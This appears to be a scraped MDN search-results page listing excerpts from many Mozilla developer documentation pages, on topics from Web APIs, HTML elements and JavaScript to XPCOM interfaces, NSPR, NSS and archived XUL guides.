note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
...you already have half of a famous quote inside a variable called quotestart; we would like you to: look up the other half of the quote, and add it to the example inside a variable called quoteend.
...And 16 more matches
Measuring performance - Learn web development
for example, you can use performance metrics to determine how your app performs in comparison to a competitor or you can compare your app's performance across releases.
...they should be collected and measured in a consistent manner and analyzed in a format that can be consumed and understood by non-technical stakeholders.
... this article introduces web perfomrance metrics that you can use to measure and optimize your site's performance.
...And 16 more matches
Browser chrome tests
the browser chrome test suite is an automated testing framework designed to allow testing of application chrome windows using javascript.
...the test file can contain other functions, they will be ignored unless invoked by test().
... note: be careful when naming your functions and variables.
...And 16 more matches
Testopia
testopia is a test case management extension for bugzilla.
... it is designed to be a generic tool for tracking test cases, allowing for testing organizations to integrate bug reporting with their test case run results.
... though it is designed with software testing in mind, it can be used to track testing on virtually anything in the engineering process.
...And 16 more matches
Roll your own browser: An embedding how-to
i have created a directory under embedding called config.
...however in our case, we only have one named xpi package.
... after the build is done, you can change directory into mozilla/embedding/config, and do a make.
...And 16 more matches
InstallListener
method overview void onnewinstall(in addoninstall install) void ondownloadstarted(in addoninstall install) void ondownloadprogress(in addoninstall install) void ondownloadended(in addoninstall install) void ondownloadcancelled(in addoninstall install) void ondownloadfailed(in addoninstall install) void oninstallstarted(in addoninstall install) void oninstallended(in addoninstall install, in addon addon) void oninstallcancelled(in addoninstall install) void oninstallfailed(in addoninstall install) void onexternalinstall(in addon install, in addon existingaddon...
..., in boolean needsrestart) methods onnewinstall() called when a new instance of addoninstall is created, primarily so ui can display some kind of progress for all installs.
... void onnewinstall( in addoninstall install ) parameters install the addoninstall representing the install ondownloadstarted() called when downloading begins for an add-on install.
...And 16 more matches
L20n HTML Bindings
the l20n html bindings you can take advantage of html bindings to localize your html documents with l20n.
... <head> … <script src="l20n.js"></script> </head> create manifest use a localization manifest to define available languages and their resource files.
... <link rel="localization" href="../locales/manifest.json"> an example of the manifest file (all keys are required): { "locales": [ "en-us", "pl"], "default_locale": "en-us", "resources": [ "../locales/{{locale}}/strings.l20n", "/shared/{{locale}}/date.l20n"¨ ] } make html elements localizable use the data-l10n-id attribute on an html element to mark it as localizable.
...And 16 more matches
NSPR Contributor Guide
abstract: nspr accepts contributions in the form of bugfixes, new features, libraries, platform ports, documentation, test cases and other items from many sources.
... general guidelines downward compatibility because many different applications, besides the mozilla client, use the nspr api, the api must remain downward compatible across even major releases.
... this means that the behavior of an existing public api item in nspr cannot change.
...And 16 more matches
Overview of NSS
open source crypto libraries proven application security architecture if you want to add support for ssl, s/mime, or other internet security standards to your application, you can use network security services (nss) to implement all your security features.
... aol instant messenger (aim) open source client applications such as evolution, pidgin, apache openoffice, and libreoffice.
... server products from red hat: red hat directory server, red hat certificate system, and the mod_nss ssl module for the apache web server.
...And 16 more matches
Introduction to the JavaScript shell
you can use it as an interactive shell, in which you type javascript code at a prompt and get instant gratification, which is handy for experimenting or testing new features.
... you can also pass in, on the command line, a javascript program file to run, in which case the program is run automatically.
... after following the build documentation and installing the built shell using make install, you can run the shell in interactive mode using the command: js [ if you get " symbol lookup error: ./js: undefined symbol: pr_setcurrentthreadname" e.g.
...And 16 more matches
JSNative
jsnative is the type of many jsapi callbacks.
... in particular, apis such as js_initclass and js_definefunctions create custom methods on javascript objects that are implemented as jsnative callbacks provided by the application, written in c/c++ code.
... syntax typedef bool (* jsnative)(jscontext *cx, unsigned argc, js::value *vp); name type description cx jscontext * the context in which the native function is being called.
...And 16 more matches
JS_ReportErrorNumber
report an error with an application-defined error code.
... syntax void js_reporterrornumber(jscontext *cx, jserrorcallback errorcallback, void *userref, const unsigned errornumber, ...); void js_reporterrornumberuc(jscontext *cx, jserrorcallback errorcallback, void *userref, const unsigned errornumber, ...); bool js_reporterrorflagsandnumber(jscontext *cx, unsigned flags, jserrorcallback errorcallback, void *userref, const unsigned errornumber, ...); bool js_reporterrorflagsandnumberuc(jscontext *cx, unsigned flags, jserrorcallback errorcallback, void *userref, const unsigned errornumber, ...); void js_reporterrornumberucarray(jscontext *cx, jserrorcallback errorcallback, ...
...in a js_threadsafe build, the caller must be in a request on this jscontext.
...And 16 more matches
AT APIs Support
but in the meantime it more up-to-date and contains more details than existed analogues for at-spi and msaa this documentation explains how makers of screen readers, voice dictation packages, onscreen keyboards, magnification software and other assitive technologies can support gecko-based software.
... accessible gecko gecko is a rendering engine that firefox, seamonkey, netscape and yelp use.
... gecko can render a variety of content, not just html and supports key web standards such as cascading style sheets, javascript and the w3c dom.
...And 16 more matches
XPCOM Stream Guide
MozillaTechXPCOMGuideStreams
the spout controls how much water you can get out of the tank at a time.
... in basic c++ programming for a console application, we usually talk about streams to access files, or to interact with the user.
...there are two ways of getting the input stream: by calling the channel's .open() method for a synchronous read, or by calling the channel's .asyncopen() method with an nsistreamlistener object.
...And 16 more matches
Components.utils.exportFunction
in this way privileged code, such as an extension, can share code with less-privileged code like a normal web page script.
... a function exported from privileged to less-privileged code can be called from the less privileged code's context.
... the function has access to its surrounding closure just as if it were being called in the privileged context.
...And 16 more matches
mozIAsyncFavicons
as an alternative, you can just use placesutils.favicons from javascript.
... method overview void getfaviconurlforpage(in nsiuri apageuri, in nsifavicondatacallback acallback); void getfavicondataforpage(in nsiuri apageuri, in nsifavicondatacallback acallback); void setandfetchfaviconforpage(in nsiuri apageuri, in nsiuri afaviconuri, in boolean aforcereload, in unsigned long afaviconloadtype, [optional] in nsifavicondatacallback acallback); void replacefavicondata(in nsiuri afaviconuri, [const,array,size_is(adatalen)] in octet adata, in unsigned long adatalen, in autf8string amimetype, [optional] in prtime aexpiration); void replacefavicondatafromdataurl(in nsiuri afaviconuri, in astring adataurl, [optional] in prtime aexpiration); methods getfaviconurlforpage() retrieve the u...
...void getfaviconurlforpage( in nsiuri apageuri, in nsifavicondatacallback acallback ); parameters apageuri uri of the page whose favicon's url we're looking up.
...And 16 more matches
nsIAccessible
can also be used by in-process accessibility clients to get information about objects in the accessible tree.
...all methods and attributes are grouped by categories.
... nsiaccessible.role to get the role of the accessible nsiaccessible.getstate() to get states of the accessibe nsiaccessible.name, nsiaccessible.value to get the name and the value of the accessible tree navigation you can navigate through the accessible tree by the following methods and attributes.
...And 16 more matches
nsIAccessibleEvent
accessible/public/nsiaccessibleevent.idlscriptable an interface for accessibility events listened to by in-process accessibility clients, which can be used to find out how to get accessibility and dom interfaces for the event and its target.
...this can be used to get the dom window, the dom document and the window handler, among other things.
... isfromuserinput boolean returns true if the event was caused by explicit user input, as opposed to purely originating from a timer or mouse movement.
...And 16 more matches
nsIChannelEventSink
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) channels will try to get this interface from a channel's notificationcallbacks or, if not available there, from the loadgroup's notificationcallbacks.
... these methods are called before onstartrequest.
...starting in gecko 2.0, that method no longer exists, and instead the asynconchannelredirect() method is called; this uses a callback to handle redirects asynchronously.
...And 16 more matches
nsIFilePicker
stance, use: var filepicker = components.classes["@mozilla.org/filepicker;1"] .createinstance(components.interfaces.nsifilepicker); method overview void appendfilter(in astring title, in astring filter); void appendfilters(in long filtermask); void init(in nsidomwindow parent, in astring title, in short mode); void open(in nsifilepickershowncallback afilepickershowncallback); short show(); obsolete since gecko 57.0 attributes attribute type description addtorecentdocs boolean if true, the file is added to the operating system's "recent documents" list (if the operating system has one; nothing happens if there is no such concept on the user's platform).
...on some platforms, this is automatically appended to filenames the user enters, if required.
...this should be set before calling open() or show().
...And 16 more matches
nsISHistoryListener
docshell/shistory/public/nsishistorylistener.idlscriptable an interface you can implement to receive notifications about activities that occur in session history, and optionally cancel them.
...the listener can prevent any action (except adding a new session history entry) from happening by returning false from the corresponding callback method.
... a session history listener can be registered on a particular nsishistory instance via the nsishistory.addshistorylistener() method.
...And 16 more matches
nsIXULTemplateBuilder
the nsitemplatebuilder interface controls the display of elements using a xul template element and is automatically attached to an element containing a datasources attribute.
...a template builder is attached to a single dom node; this node is called the root node and is expected to contain a xul template element as a direct child.
...there may be more than one <queryset> if multiple queries are desired, and this element is optional if only one query is needed -- in that case the <query> and <rule>s are allowed to be children of the <template> node.
...And 16 more matches
Debugging service workers - Firefox Developer Tools
in this article we will look at debugging service workers using the firefox devtools application panel.
... when you open the application panel’s service workers view on a page that doesn't have a service worker registered, you'll get the following output shown: this gives you some advice on what to do if you don't have a service worker registered, and were perhaps expecting there to be one registered!
... getting your service worker to register before you can look at your service worker in action in the applications panel, you need to successfully register it.
...And 16 more matches
Animating CSS properties - Firefox Developer Tools
the performance cost of animating a css property can vary from one property to another, and animating expensive css properties can result in jank as the browser struggles to hit a smooth frame rate.
... the frame rate and waterfall can give you insight into the work the browser's doing in a css animation, to help diagnose performance problems.
... compared with animating elements using javascript, css animations can be easier to create.
...And 16 more matches
Advanced animations - Web APIs
drawing a ball we are going to use a ball for our animation studies, so let's first draw that ball onto the canvas.
... <canvas id="canvas" width="600" height="300"></canvas> as usual, we need a drawing context first.
... to draw the ball, we will create a ball object which contains properties and a draw() method to paint it on the canvas.
...And 16 more matches
CloseEvent - Web APIs
this is delivered to the listener indicated by the websocket object's onclose attribute.
...note that the 1xxx codes are only websocket-internal and not for the same meaning by the transported data (like when the application-layer protocol is invalid).
... 1001 going away the endpoint is going away, either because of a server failure or because the browser is navigating away from the page that opened the connection.
...And 16 more matches
CustomEvent - Web APIs
the customevent interface represents events initialized by an application for any purpose.
... this interface inherits properties from its parent, event: event.bubbles read only a boolean indicating whether or not the event bubbles up through the dom.
... event.cancelbubble a historical alias to event.stoppropagation().
...And 16 more matches
How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
the presence of whitespace in the dom can cause layout problems and make manipulation of the content tree difficult in unexpected ways, depending on where it is located.
... this article explores when difficulties can occur, and looks at what can be done to mitigate resulting problems.
... whitespace is any string of text composed only of spaces, tabs or line breaks (to be precise, crlf sequences, carriage returns or line feeds).
...And 16 more matches
EventTarget.removeEventListener() - Web APIs
the event listener to be removed is identified using a combination of the event type, the event listener function itself, and various optional options that may affect the matching process; see matching event listeners for removal syntax target.removeeventlistener(type, listener[, options]); target.removeeventlistener(type, listener[, usecapture]); parameters type a string which specifies the type of event for which to remove an event listener.
... the available options are: capture: a boolean which indicates that events of this type will be dispatched to the registered listener before being dispatched to any eventtarget beneath it in the dom tree.
... usecapture optional specifies whether the eventlistener to be removed is registered as a capturing listener or not.
...And 16 more matches
FileSystemEntry - Web APIs
the entry can be a file or a directory (directories are represented by the directoryentry interface).
... because this is a non-standard api, whose specification is not currently on a standards track, it's important to keep in mind that not all browsers implement it, and those that do may implement only small portions of it.
... you can use the filesystem: scheme on google chrome to see all the files and folders that are stored in the origin of your app.
...And 16 more matches
Guide to the Fullscreen API - Web APIs
activating full-screen mode given an element that you'd like to present in full-screen mode (such as a <video>, for example), you can present it in full-screen mode by simply calling its requestfullscreen() method.
... let's consider this <video> element: <video controls id="myvideo"> <source src="somevideo.webm"></source> <source src="somevideo.mp4"></source> </video> we can put that video into full-screen mode as follows: var elem = document.getelementbyid("myvideo"); if (elem.requestfullscreen) { elem.requestfullscreen(); } this code checks for the existence of the requestfullscreen() method before calling it.
... presentation differences it's worth noting a key difference here between the gecko and webkit implementations at this time: gecko automatically adds css rules to the element to stretch it to fill the screen: "width: 100%; height: 100%".
...And 16 more matches
HTMLFrameSetElement - Web APIs
windoweventhandlers.onafterprint is an eventhandler representing the code to be called when the afterprint event is raised.
... windoweventhandlers.onbeforeprint is an eventhandler representing the code to be called when the beforeprint event is raised.
... windoweventhandlers.onbeforeunload is an eventhandler representing the code to be called when the beforeunload event is raised.
...And 16 more matches
HTMLTableCellElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,mono...
... htmltablecellelement.abbr a domstring which can be used on <th> elements (not on <td>), specifying an alternative label for the header cell..
... this alternate label can be used in other contexts, such as when describing the headers that apply to a data cell.
...And 16 more matches
MediaDevices.getDisplayMedia() - Web APIs
the mediadevices interface's getdisplaymedia() method prompts the user to select and grant permission to capture the contents of a display or portion thereof (such as a window) as a mediastream.
... the resulting stream can then be recorded using the mediastream recording api or transmitted as part of a webrtc session.
... see using the screen capture api for more details and an example.
...And 16 more matches
Microdata DOM API - Web APIs
nowadays, they have been abandoned and removed from all browsers and are therefore deprecated.
... you can't use them anymore and this document is kept as information only.
... microdata becomes even more useful when scripts can use it to expose information to the user, for example offering it in a form that can be used by other applications.
...And 16 more matches
Screen Wake Lock API - Web APIs
the screen wake lock api provides a way to prevent devices from dimming or locking the screen when an application needs to keep running.
...whilst this is a useful feature, some applications need the screen to stay awake to be their most useful.
...only visible (active) documents can acquire the screen wake lock.
...And 16 more matches
WebGLRenderingContext.getFramebufferAttachmentParameter() - Web APIs
pname parameter return value gl.framebuffer_attachment_object_type a glenum indicating the type of the texture.
... gl.framebuffer_attachment_texture_level a glint indicating the mipmap level.
... gl.framebuffer_attachment_texture_cube_map_face a glenum indicating the name of cube-map face of the texture.
...And 16 more matches
WorkerGlobalScope - Web APIs
workers have no browsing context; this scope contains the information usually conveyed by window objects — in this case event handlers, the console or the associated workernavigator object.
... this interface is usually specialized by each worker type: dedicatedworkerglobalscope for dedicated workers, sharedworkerglobalscope for shared workers, and serviceworkerglobalscope for serviceworker.
...most of the time it is a specific scope like dedicatedworkerglobalscope, sharedworkerglobalscope or serviceworkerglobalscope.
...And 16 more matches
XMLHttpRequest - Web APIs
you can retrieve data from a url without having to do a full page refresh.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.076923076923077%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 650 150" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="11...
... target="_top"><rect x="441" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="511" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">xmlhttprequest</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} despite its name, xmlhttprequest can be used to retrieve any type of data, not just xml.
...And 16 more matches
XRReferenceSpace: reset event - Web APIs
the reset event is sent to an xrreferencespace object when a discontinuity is detected in either the native origin or the effective origin, causing a jump in the position or orientation of objects oriented using the reference space.
... this is common when the user calibrates or recalibrates an xr device, or if the device automatically changes its origin after losing tracking of the user, then re-gaining it.
... in the case of xrboundedreferencespace objects, the reset event can also be fired when the boundsgeometry changes.
...And 16 more matches
Web APIs
WebAPI
web apis are typically used with javascript, although this doesn't always have to be the case.
... specifications this is a list of all the apis that are available.
... aambient light eventsbbackground tasksbattery api beaconbluetooth apibroadcast channel apiccss counter stylescss font loading api cssomcanvas apichannel messaging apiconsole apicredential management apiddomeencoding apiencrypted media extensionsffetch apifile system api frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection observer apillong tasks api mmedia capabilities api media capture and streamsmedia session apimedia source extensions mediastream recordingnnavigation timingnetwork information api ppage visibility apipayment request apiperformance apiperformance timeline apipermissions apipointer eventspointer lock apiproximity events push api rresize observer apiresource timin...
...And 16 more matches
Architecture - Accessibility
it is concatenated together with all its sibling text nodes, and embedded objects between the text nodes are exposed as the unicoded embedded object character '\xfffc'.
...this allows at's to find its position within that text, because the hyperlink interface exposes a start and end index.
... in fact, the end index will always be 1 larger than the start index, because the object is always represented by a single '\xfffc' character.
...And 16 more matches
Accessibility Information for Web Authors - Accessibility
web content accessibility guidelines (wcag) 1.0 another important set of guidelines from the w3c web accessibility initiative (wai).
... accessible web page authoring ibm has put together a simple, practical resource for web authors to learn accessibility the fast and painless way.
... automated checking & repair cynthia says™ from hisoftware® company "cynthia says™" is a free online webpage accessibility validation service that is designed to identify errors in webpage related to section 508 standards and/or the wcag guidelines.
...And 16 more matches
Keyboard-navigable JavaScript widgets - Accessibility
overview web applications often use javascript to mimic desktop widgets such as menus, tree views, rich text fields, and tab panels.
... these widgets are typically composed of <div> and <span> elements that do not, by nature, offer the same keyboard functionality that their desktop counterparts do.
...with the tabindex global attribute, authors can make other elements focusable, too.
...And 16 more matches
<button>: The Button element - HTML: Hypertext Markup Language
WebHTMLElementbutton
by default, html buttons are presented in a style resembling the platform the user agent runs on, but you can change buttons’ appearance with css.
... content categories flow content, phrasing content, interactive content, listed, labelable, and submittable form-associated element, palpable content.
...only one element in a document can have this attribute.
...And 16 more matches
<colgroup> - HTML: Hypertext Markup Language
WebHTMLElementcolgroup
content categories none.
...the <colgroup> must appear after any optional <caption> element but before any <thead>, <th>, <tbody>, <tfoot> and <tr> element.
... span this attribute contains a positive integer indicating the number of consecutive columns the <colgroup> element spans.
...And 16 more matches
Connection management in HTTP/1.x - HTTP
connection management is a key topic in http: opening and maintaining connections largely impacts the performance of web sites and web applications.
... persistent connections short-lived connections have two major hitches: the time taken to establish a new connection is significant, and performance of the underlying tcp connection gets better only when this connection has been in use for some time (warm connection).
...alternatively this may be called a keep-alive connection.
...And 16 more matches
HTTP Public Key Pinning (HPKP) - HTTP
note: public key pinning mechanism was deprecated in favor of certificate transparency and expect-ct header.
... http public key pinning (hpkp) was a security feature that used to tell a web client to associate a specific cryptographic public key with a certain web server to decrease the risk of mitm attacks with forged certificates.
... to ensure the authenticity of a server's public key used in tls sessions, this public key is wrapped into a x.509 certificate which is usually signed by a certificate authority (ca).
...And 16 more matches
Array.prototype.find() - JavaScript
syntax arr.find(callback(element[, index[, array]])[, thisarg]) parameters callback function to execute on each value in the array, taking 3 arguments: element the current element in the array.
... array optional the array that find was called on.
... thisarg optional object to use as this inside callback.
...And 16 more matches
Intl.Collator() constructor - JavaScript
syntax new intl.collator([locales[, options]]) parameters locales optional.
...for the general form and interpretation of the locales argument, see the intl page.
... the following unicode extension keys are allowed: co variant collations for certain locales.
...And 16 more matches
Intl.DateTimeFormat() constructor - JavaScript
syntax new intl.datetimeformat([locales[, options]]) parameters locales optional a string with a bcp 47 language tag, or an array of such strings.
... to use the browser's default locale, omit this argument or pass undefined.
... unicode extension are supported (for example "en-us-u-ca-buddhist").
...And 16 more matches
MathML attribute reference - MathML
this is an alphabetical list of mathml attributes.
... the attributes background, color, fontfamily, fontsize, fontstyle, fontweight and xlink:href are deprecated.
... the xlink attributes on mathml elements: xlink:actuate, xlink:href, xlink:show and xlink:type are deprecated as well.
...And 16 more matches
Add to Home screen - Progressive web apps (PWAs)
add a shortcut to their home screen representing their favorite web app (or site) so they can subsequently access it with a single tap.
... a2hs is thought to be part of the progressive web app philosophy — giving web apps the same user experience advantages as native apps so they can compete in today's ecosystem wars.
... see caniuse.com for exact details.
...And 16 more matches
Types of attacks - Web security
this can be used, for example, to steal login credentials or to get the user's unwitting permission to install a piece of malware.
... (click-jacking is sometimes called "user interface redressing", though this is a misuse of the term "redress".) cross-site request forgery (csrf) cross-site scripting (xss) cross-site scripting (xss) is a security exploit which allows an attacker to inject into a website malicious client-side code.
...according to the open web application security project, xss was the seventh most common web app vulnerability in 2017.
...And 16 more matches
Axes - XPath
WebXPathAxes
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes there are thirteen different axes in the xpath specification.
... an axis represents a relationship to the context node, and is used to locate nodes relative to that node on the tree.
... ancestor indicates all the ancestors of the context node beginning with the parent node and traveling through to the root node.
...And 16 more matches
SDK API Lifecycle - Archive of obsolete content
developers using the sdk's apis need to know how far they can trust that a given api will not change in future releases.
...it has two main components: a stability index that defines how stable each module is a deprecation process that defines when and how stable sdk apis can be changed or removed from future versions of the sdk while giving developers enough time to update their code.
...you can try it out and provide feedback, but we may change or remove it in future versions without having to pass through a formal deprecation process.
...And 15 more matches
Low-Level APIs - Archive of obsolete content
these modules fall roughly into three categories: fundamental utilities such as collection.
... many add-ons are likely to want to use modules from this category.
... privileged modules that expose powerful low-level capabilities such as window/utils and net/xhr.
...And 15 more matches
Creating Reusable Modules - Archive of obsolete content
you can split your code into separate modules with clearly defined interfaces between them.
... it can often make sense to structure a larger or more complex add-on as a collection of modules.
... this makes the design of the add-on easier to understand and provides some encapsulation as each module will export only what it chooses to, so you can change the internals of the module without breaking its users.
...And 15 more matches
Chapter 1: Introduction to Extensions - Archive of obsolete content
perhaps things like fine-grained tab controls, mouse gestures, extensive toolbars and buttons, a feed reader, integration with a variety of web applications, or sophisticated tools to assist with web design.
... but we didn't set out to create an all-in-one browser that can satisfy everyone.
... instead, firefox can support these features through extensions.
...And 15 more matches
Chapter 2: Technologies used in developing extensions - Archive of obsolete content
its structure is similar to that of the dynamic html used on some web pages, or the html applications used on windows.
... some examples of xml-based markup languages include xhtml, which is html redefined on an xml base; svg, for expressing vector images; and mathml, for expressing mathematical formulas.
... note: elements that take no content can be expressed in compact form as <elementname/>.
...And 15 more matches
Promises - Archive of obsolete content
promise apis for common asynchronous operations due to the performance and stability costs of synchronous io, many apis which rely on it have been deprecated.
...a task example like the following: components.utils.import("resource://gre/modules/task.jsm"); task.spawn(function* () { var response = yield request("login", { username: user, password: password }); if (response.messages) { try { yield publish({ username: user, messages: response.messages }); } catch (e) { self.reporterror("publication failed", e); } } }); can be converted to a pure promise-based equivalent as such: request("login", { username: user, password: password }) .then(response => { if (response.messages) return publish({ username: user, messages: response.messages }); }) .then(null, (e) => { self.reporterror("publi...
...cation failed", e); }); file io file io in add-ons should be done via the os.file api, which provides a simple, but powerful, interface for reading, writing, and manipulating both text and binary files.
...And 15 more matches
Using Dependent Libraries In Extension Components - Archive of obsolete content
the basic strategy of the stub is to dynamically load the dependent libraries, then load the component library and continue registration.
... sample code is below, and can be built by placing the two files in extensions/stub and configuring with --enable-extensions=stub extension file structure using the stub slightly changes how components are packaged in the extension directory structure.
...cpp extra_dso_ldopts += \ $(dist)/lib/$(lib_prefix)xpcomglue_s.$(lib_suffix) \ $(xpcom_frozen_ldopts) \ $(nspr_libs) \ $(null) include $(topsrcdir)/config/rules.mk defines += -dmoz_dll_prefix=\"$(dll_prefix)\" extensions/stub/bdsstubloader.cpp // copyright (c) 2005 benjamin smedberg <benjamin@smedbergs.us> #include "nscore.h" #include "nsmodule.h" #include "prlink.h" #include "nsilocalfile.h" #include "nsstringapi.h" #include "nscomptr.h" static char const *const kdependentlibraries[] = { // dependent1.dll on windows, libdependent1.so on linux moz_dll_prefix "dependent1" moz_dll_suffix, moz_dll_prefix "dependent2" moz_dll_suffix, nsnull // note: if the dependent libs themselves depend on other libs, the subdependencies // should be listed first.
...And 15 more matches
Bookmark Keywords - Archive of obsolete content
practically every web surfer has bookmarks, of course, and power surfers usually have hundreds stuffed into folders within folders.
... in addition to being handy pointers to useful resources, bookmarks in mozilla can be used to make the address bar itself a power tool.
... searches, lookups, package tracking, and even word definitions can all be retrieved from user-customized bookmarks.
...And 15 more matches
Dehydra Object Reference - Archive of obsolete content
the objects are designed to distill that type system to the minimum such that it can be easy to match on.
... often, the best way to become familiar with the dehydra objects is to print out the objects: dehydra example code an online tool for pretty-printing dehydra data understanding properties dehydra only sets properties that are applicable.
...common properties property type description .loc location object source location of a type or declaration.
...And 15 more matches
Frequently Asked Questions - Archive of obsolete content
this is (almost certainly) because the 'xmlns:xlink' attribute has been used in the file without including the following two namespace bindings on the root <svg> tag.
...this is either because your browser doesn't support svg (you must have mozilla firefox 1.5 or newer), or because the webpage/server isn't correctly telling mozilla that the file contains svg.
... this is probably because there is an <embed> or <object> tag in the html page and its 'type' attribute is set to the wrong mime type.
...And 15 more matches
Binding Attachment and Detachment - Archive of obsolete content
attachment using css bindings can be attached to elements through css using the -moz-binding property.
... bindings can be attached to elements through the scripting by assigning the element.style.mozbinding property.
... respectively bindings can be detached by setting element.style.mozbinding to empty string.
...And 15 more matches
Introduction - Archive of obsolete content
some other systems call this databinding.
...typically, the value will be a uri that identifies the location of the data.
...here is an example: <vbox datasources="http://www.xulplanet.com/ds/sample.rdf" querytype="rdf"> this example specifies the datasource 'http://www.xulplanet.com/ds/sample.rdf', using the datasource type rdf as indicated by the querytype attribute'.
...And 15 more matches
Creating toolbar buttons (Customize Toolbar Window) - Archive of obsolete content
this article explains how to add a toolbar button to a toolkit application (such as firefox, thunderbird, or kompozer) using overlays.
...explaining overlays is beyond the scope of this tutorial -- you can read about them in the xul tutorial.
...you can find a list of uris for the most commonly overlaid documents at the bottom of this page.
...And 15 more matches
Accesskey display rules - Archive of obsolete content
each controls of xul can have an accesskey which is specified by accesskey attribute or accesskey property (see accesskey attribute document for the detail).
... xul elements display their accesskeys in their label automatically if it's necessary.
...because macos x doesn't have the conception of accesskey function on its native widgets/applications.
...And 15 more matches
Introduction to XBL - Archive of obsolete content
bindings you can use xul to define the layout of a user interface for an application.
... you can customize the look of elements by applying styles to them.
... you can also create new skins by changing the styles.
...And 15 more matches
More Wizards - Archive of obsolete content
in some cases however, you may want to have different pages of the wizard appear depending on what the user selects in earlier pages.
... in this case, place a pageid attribute on each of the pages.
...you can change these attributes as needed to navigate to different pages.
...And 15 more matches
Writing Skinnable XUL and CSS - Archive of obsolete content
mozilla can have any number of installed ui packages, from navigator to sidebar to editor.
... in our particular mozilla skin, there is a special package calledglobal.
... this package contains a special skin called theglobal skin.
...And 15 more matches
menupopup - Archive of obsolete content
<menulist> <menupopup> <menuitem label="mozilla" value="http://mozilla.org"/> <menuitem label="slashdot" value="http://slashdot.org"/> <menuitem label="sourceforge" value="http://sf.net"/> <menuitem label="freshmeat" value="http://freshmeat.net"/> </menupopup> </menulist> the following example shows how a menupopup can be used as a context menu for an element.
... example: <menupopup id="top" onpopuphidden="console.log('the onpopuphidden method of id=top was called.');"> <menuitem label="item 1"/> <menuitem label="item 2"/> <menu id="submenu1" label="submenu 1"> <menupopup id="submenu1-popup"> <menuitem label="submenu1 item 1"/> <menuitem label="submenu1 item 2"/> </menupopup> </menu> <menu id="submenu2" label="submenu 1"> <menupopup id="submenu2-popup"> <menuitem label="sub...
...this handler is usually used to dynamically set the contents when the user requests to display it.
...And 15 more matches
Explaining basic 3D theory - Game development
coordinate system 3d essentially is all about representations of shapes in a 3d space, with a coordinate system used to calculate their position.
... texture: a 2d image that the vertex can use to decorate the surface it is part of instead of a simple color.
... you can build geometry using this information — here is an example of a cube: a face of the given shape is a plane between vertices.
...And 15 more matches
3D games on the Web - Game development
for rich gaming experiences on the web, the weapon of choice is webgl, which is rendered on html <canvas>.
... webgl is basically an opengl es 2.0 for the web — it's a javascript api providing tools to build rich interactive animations and of course, also games.
... you can generate and render dynamic 3d graphics with javascript that is hardware accelerated.
...And 15 more matches
Test your skills: Math - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
...call the variables something sensible.
...And 15 more matches
Test your skills: JSON - Learn web development
note: you can try out the solution in the interactive editor below.
... note: in the example below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
...json data about some mother cats and their kittens is available in sample.json.
...And 15 more matches
Reviewer Checklist
in c++, wrapper-cache as needed.
... if your object can be gotten from somewhere without creating it in the process, it needs to be wrapper-cached.
... the patch is not unnecessarily complicated.
...And 15 more matches
Performance
xul school: add-on performance tips for add-on developers to help them avoid impairing application performance.
... memory profiling and leak detection tools the developer tools "memory" panel the memory panel in the devtools supports taking heap snapshots, diffing them, computing dominator trees to surface "heavy retainers", and recording allocation stacks.
... dmd dmd is a tool that identifies shortcomings in about:memory's measurements, and can also do multiple kinds of general heap profiling.
...And 15 more matches
NSPR Poll Method
this technical note documents the poll method of prfiledesc.
...the poll method operates on a single netscape portable runtime (nspr) file descriptor, whereas pr_poll operates on a collection of nspr file descriptors.
...the nspr library provides a reference implementation of the bottom layer using the sockets api, but you can provide your own implementation of the bottom layer using another network transport api.
...And 15 more matches
NSPR's Position On Abrupt Thread Termination
this memo describes my position on a facility that is currently under discussion for inclusion in the netscape portable runtime (nspr); the ability of a thread to abruptly exit.
... i resist including this function in nspr because it results in bad programming practice and unsupportable programs.
...abrupt termination has been available in the unix/c environment for some time (exit()), and i assume that the basic semantics defined there are applicable here.
...And 15 more matches
Nonblocking IO In NSPR
introduction previously, all i/o in the netscape portable runtime (nspr) was blocking (or synchronous).
...a thread is typically created to attend to one of the simultaneous i/o operations that may potentially block.
...typically, this central thread invokes <tt>pr_poll()</tt> on a set of nonblocking file descriptors.
...And 15 more matches
FIPS Mode - an explanation
nss has a "fips mode" that can be enabled when nss is compiled in a specific way.
... some other governments have also adopted many of the fips regulations, so their applicability is somewhat wider than just the us government's personnel.
... to that end, mozilla products can function in a "fips mode", which is really "fips 140 mode", when paired with a compliant copy of nss.
...And 15 more matches
NSS 3.28 release notes
